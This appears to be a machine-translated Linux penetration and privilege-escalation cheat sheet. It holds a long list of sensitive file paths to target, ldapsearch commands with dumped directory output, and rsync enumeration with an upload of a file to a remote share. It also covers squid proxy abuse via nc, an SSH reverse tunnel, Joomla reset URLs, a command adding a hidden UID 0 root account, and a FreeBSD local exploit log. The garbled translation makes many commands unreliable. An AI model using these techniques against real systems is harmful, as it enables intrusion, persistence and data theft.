Linux penetration and Elevation of Privilege: skills Summary

This article is a summary of Linux penetration and Elevation of Privilege techniques. It aims to collect various Linux penetration techniques and Elevation of Privilege versions, so that you can get twice the result with half the effort in future penetration tests.
 
Common paths in Linux:
 

/etc/passwd/etc/shadow/etc/fstab/etc/host.conf/etc/motd/etc/ld.so.conf/var/www/htdocs/index.php/var/www/conf/httpd.conf/var/www/htdocs/index.html/var/httpd/conf/php.ini/var/httpd/htdocs/index.php/var/httpd/conf/httpd.conf/var/httpd/htdocs/index.html/var/httpd/conf/php.ini/var/www/index.html/var/www/index.php/opt/www/conf/httpd.conf/opt/www/htdocs/index.php/opt/www/htdocs/index.html/usr/local/apache/htdocs/index.html/usr/local/apache/htdocs/index.php/usr/local/apache2/htdocs/index.html/usr/local/apache2/htdocs/index.php/usr/local/httpd2.2/htdocs/index.php/usr/local/httpd2.2/htdocs/index.html/tmp/apache/htdocs/index.html/tmp/apache/htdocs/index.php/etc/httpd/htdocs/index.php/etc/httpd/conf/httpd.conf/etc/httpd/htdocs/index.html/www/php/php.ini/www/php4/php.ini/www/php5/php.ini/www/conf/httpd.conf/www/htdocs/index.php/www/htdocs/index.html/usr/local/httpd/conf/httpd.conf/apache/apache/conf/httpd.conf/apache/apache2/conf/httpd.conf/etc/apache/apache.conf/etc/apache2/apache.conf/etc/apache/httpd.conf/etc/apache2/httpd.conf/etc/apache2/vhosts.d/00_default_vhost.conf/etc/apache2/sites-available/default/etc/phpmyadmin/config.inc.php/etc/mysql/my.cnf/etc/httpd/conf.d/php.conf/etc/httpd/conf.d/httpd.conf/etc/httpd/logs/error_log/etc/httpd/logs/error.log/etc/httpd/logs/access_log/etc/httpd/logs/access.log/home/apache/conf/httpd.conf/home/apache2/conf/httpd.conf/var/log/apache/error_log/var/log/apache/error.log/var/log/apache/access_log/var/log/apache/access.log/var/log/apache2/error_log/var/log/apache2/error.log/var/log/apache2/access_log/var/log/apache2/access.log/var/www/logs/error_log/var/www/logs/error.log/var/www/logs/access_log/var/www/logs/access.log/usr/local/apache/logs/error_log/usr/local/apache/logs/error.log/usr/local/apache/logs/access_log/usr/local/apache/logs/access.log/var/log/error_log/var/log/error.log/var/log/access_log/var/log/access.log/usr/local/apache/logs/access_logaccess_log.old/usr/local/apache/logs/error_logerror_log.old/etc/php.ini/bin/php.ini/etc/init.d/httpd/etc/init.d/mysql/etc/httpd/php.ini/usr/lib/php.ini/usr/lib/php/php.ini/usr/local/etc/php.ini/usr/local/lib/php.ini/usr/local/php/lib/php.ini/usr/local/php4/lib/php.ini/usr/local/php4/php.ini/usr/local/php4/lib/php.ini/usr/local/php5/lib/php.ini/usr/local/php5/etc/php.ini/usr/local/php5/php5.ini/usr/local/apache/conf/php.ini/usr/local/apache/conf/httpd.conf/usr/local/apache2/conf/httpd.conf/usr/local/apache2/conf/php.ini/etc/php4.4/fcgi/php.ini/etc/php4/apache/php.ini/etc/php4/apache2/php.ini/etc/php5/apache/php.ini/etc/php5/apache2/php.ini/etc/php/php.ini/etc/php/php4/php.ini/etc/php/apache/php.ini/etc/php/apache2/php.ini/web/conf/php.ini/usr/local/Zend/etc/php.ini/opt/xampp/etc/php.ini/var/local/www/conf/php.ini/var/local/www/conf/httpd.conf/etc/php/cgi/php.ini/etc/php4/cgi/php.ini/etc/php5/cgi/php.ini/php5/php.ini/php4/php.ini/php/php.ini/PHP/php.ini/apache/php/php.ini/xampp/apache/bin/php.ini/xampp/apache/conf/httpd.conf/NetServer/bin/stable/apache/php.ini/home2/bin/stable/apache/php.ini/home/bin/stable/apache/php.ini/var/log/mysql/mysql-bin.log/var/log/mysql.log/var/log/mysqlderror.log/var/log/mysql/mysql.log/var/log/mysql/mysql-slow.log/var/mysql.log/var/lib/mysql/my.cnf/usr/local/mysql/my.cnf/usr/local/mysql/bin/mysql/etc/mysql/my.cnf/etc/my.cnf/usr/local/cpanel/logs/usr/local/cpanel/logs/stats_log/usr/local/cpanel/logs/access_log/usr/local/cpanel/logs/error_log/usr/local/cpanel/logs/license_log/usr/local/cpanel/logs/login_log/usr/local/cpanel/logs/stats_log/usr/local/share/examples/php4/php.ini/usr/local/share/examples/php/php.ini/usr/local/tomcat5527/bin/version.sh/usr/share/tomcat6/bin/startup.sh/usr/tomcat6/bin/startup.sh

 
Summary of liunx-related Elevation of Privilege penetration techniques. 1. ldap penetration skills:
 
1. cat/etc/nsswitch
 
Check the Password Logon Policy. We can see that the file ldap mode is used.
2. less/etc/ldap. conf
 
Base ou = People, dc = unix-center, dc = net
 
Locate ou, dc, and dc settings
 
3. Search for administrator Information
 
Anonymous Mode
 
Ldapsearch-x-D "cn = administrator, cn = People, dc = unix-center, dc = net"-B "cn = administrator, cn = People, dc = unix-center, dc = net "-h 192.168.2.2
 
Password format
Ldapsearch-x-W-D "cn = administrator, cn = People, dc = unix-center, dc = net"-B "cn = administrator, cn = People, dc = unix-center, dc = net "-h 192.168.2.2
 
4. Search for 10 user records
Ldapsearch-h 192.168.2.2-x-z 10-p specified port
 
Practice:
 
1. cat/etc/nsswitch
 
Check the Password Logon Policy. We can see that the file ldap mode is used.
2. less/etc/ldap. conf
Base ou = People, dc = unix-center, dc = net
 
Locate ou, dc, and dc settings
 
3. Search for administrator Information
 
Anonymous Mode
Ldapsearch-x-D "cn = administrator, cn = People, dc = unix-center, dc = net"-B "cn = administrator, cn = People, dc = unix-center, dc = net "-h 192.168.2.2
 
Password format
Ldapsearch-x-W-D "cn = administrator, cn = People, dc = unix-center, dc = net"-B "cn = administrator, cn = People, dc = unix-center, dc = net "-h 192.168.2.2
 
4. Search for 10 user records
Ldapsearch-h 192.168.2.2-x-z 10-p specified port
 
Penetration Practice:
 
1. Return all attributes

ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"version: 1dn: dc=ruc,dc=edu,dc=cndc: rucobjectClass: domaindn: uid=manager,dc=ruc,dc=edu,dc=cnuid: managerobjectClass: inetOrgPersonobjectClass: organizationalPersonobjectClass: personobjectClass: topsn: managercn: managerdn: uid=superadmin,dc=ruc,dc=edu,dc=cnuid: superadminobjectClass: inetOrgPersonobjectClass: organizationalPersonobjectClass: personobjectClass: topsn: superadmincn: superadmindn: uid=admin,dc=ruc,dc=edu,dc=cnuid: adminobjectClass: inetOrgPersonobjectClass: organizationalPersonobjectClass: personobjectClass: topsn: admincn: admindn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cnuid: dcp_anonymousobjectClass: topobjectClass: personobjectClass: organizationalPersonobjectClass: inetOrgPersonsn: dcp_anonymouscn: dcp_anonymous

2. view the base class
Bash-3.00 # ldapsearch-h 192.168.7.33-B "dc = ruc, dc = edu, dc = cn"-s base "objectclass = *" | more version: 1 dn: dc = ruc, dc = edu, dc = cn dc: ruc objectClass: domain
 
3. Search

bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"version: 1dn:objectClass: topnamingContexts: dc=ruc,dc=edu,dc=cnsupportedExtension: 2.16.840.1.113730.3.5.7supportedExtension: 2.16.840.1.113730.3.5.8supportedExtension: 1.3.6.1.4.1.4203.1.11.1supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25supportedExtension: 2.16.840.1.113730.3.5.3supportedExtension: 2.16.840.1.113730.3.5.5supportedExtension: 2.16.840.1.113730.3.5.6supportedExtension: 2.16.840.1.113730.3.5.4supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24supportedExtension: 1.3.6.1.4.1.1466.20037supportedExtension: 1.3.6.1.4.1.4203.1.11.3supportedControl: 2.16.840.1.113730.3.4.2supportedControl: 2.16.840.1.113730.3.4.3supportedControl: 2.16.840.1.113730.3.4.4supportedControl: 2.16.840.1.113730.3.4.5supportedControl: 1.2.840.113556.1.4.473supportedControl: 2.16.840.1.113730.3.4.9supportedControl: 2.16.840.1.113730.3.4.16supportedControl: 2.16.840.1.113730.3.4.15supportedControl: 2.16.840.1.113730.3.4.17supportedControl: 2.16.840.1.113730.3.4.19supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1supportedControl: 2.16.840.1.113730.3.4.14supportedControl: 1.3.6.1.4.1.1466.29539.12supportedControl: 2.16.840.1.113730.3.4.12supportedControl: 2.16.840.1.113730.3.4.18supportedControl: 2.16.840.1.113730.3.4.13supportedSASLMechanisms: EXTERNALsupportedSASLMechanisms: DIGEST-MD5supportedLDAPVersion: 2supportedLDAPVersion: 3vendorName: Sun Microsystems, Inc.vendorVersion: Sun-Java(tm)-System-Directory/6.2dataversion: 020090516011411netscapemdsuffix: cn=ldap://dc=webA:389supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHAsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHAsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHAsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHAsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHAsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHAsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHAsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHAsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHAsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHAsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHAsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHAsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHAsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHAsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHAsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHAsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHAsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHAsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHAsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHAsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHAsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHAsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHAsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHAsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5

 
 
Summary of liunx-related Elevation of Privilege penetration skills; 2. NFS penetration skills:
 
List IP addresses:
 
Showmount-e ip
 
Summary of liunx-related Elevation of Privilege penetration techniques. III. rsync penetration skills:
 
1. view the list on the rsync server:
 

rsync 210.51.X.X::financeimg_financeautoimg_autohtml_cmsimg_cmsent_cmsent_imgceshires_imgres_img_c2chipchip_c2ent_icmsgamesgamesimgmediamediaimgfashionres-fashionres-fotaobao-homeres-taobao-homehouseres-houseres-homeres-edures-entres-labsres-newsres-phtvres-mediahomeedunewsres-book

 
View the corresponding sub-directories (note that you must add the directory /)
 

rsync 210.51.X.X::htdocs_app/rsync 210.51.X.X::auto/rsync 210.51.X.X::edu/

 
2. Download the configuration file on the rsync server
Rsync-avz 210.51.X.X: htdocs_app // tmp/app/
 
3. Update the rsync file upwards (uploaded successfully, not overwritten)
 
Rsync-avz nothack. php 210.51.X.X: htdocs_app/warn/
 
Http://app.finance.xxx.com/warn/nothack.txt
 
Summary of liunx-related Elevation of Privilege penetration techniques. 4. squid penetration skills:
 
Nc-vv 91ri.org 80
Get http: // www.sina.com/HTTP/1.0
Get http: // WWW.sina.com: 22/HTTP/1.0
 
Summary of liunx-related Elevation of Privilege penetration techniques. 5. SSH port forwarding:
 
Ssh-C-f-N-g-R 44: 127.0.0.1: 22 cnbird @ ip
 
Summary of liunx-related Elevation of Privilege penetration techniques. 6. joomla penetration tips:
 
Confirm version:
 
Index. php? Option = com_content & view = article & id = 30: what-languages-are-supported-by-joomla-15 & catid = 32: Ages & Itemid = 47
 
Reset the password:
Index. php? Option = com_user & view = reset & layout = confirm
 
Summary of liunx-related Elevation of Privilege penetration techniques. 7. Linux root users with UID 0 added:
Useradd-o-u 0 nothack
 
Summary of liunx-related Elevation of Privilege penetration techniques. 8. freebsd Local Elevation of Privilege:
 

[argp@julius ~]$ uname -rsi* freebsd 7.3-RELEASE GENERIC* [argp@julius ~]$ sysctl vfs.usermount* vfs.usermount: 1* [argp@julius ~]$ id* uid=1001(argp) gid=1001(argp) groups=1001(argp)* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex* [argp@julius ~]$ ./nfs_mount_ex*calling nmount()

 
Tar folder packaging:
 
1. tar packaging:
 
Tar-cvf/home/public_html/*. tar/home/public_html/-- exclude = exclude file *. gif exclude directory/xx /*
 
Alzip package (South Korea) alzip-a D: \ WEB d: \ web *. rar
 
{
 
Note:
 
For the tar packaging method, linux does not use the extension to determine the file type.
 
If it is compressed, run tar-ztf * .tar.gz to check the content of tar-zxf * .tar.gz In the compressed package and decompress it.
 
It is better to use this line.
 
Tar-czf/home/public_html/* .tar.gz/home/public_html/-- exclude = exclude file *. gif exclude directory/xx /*
 
}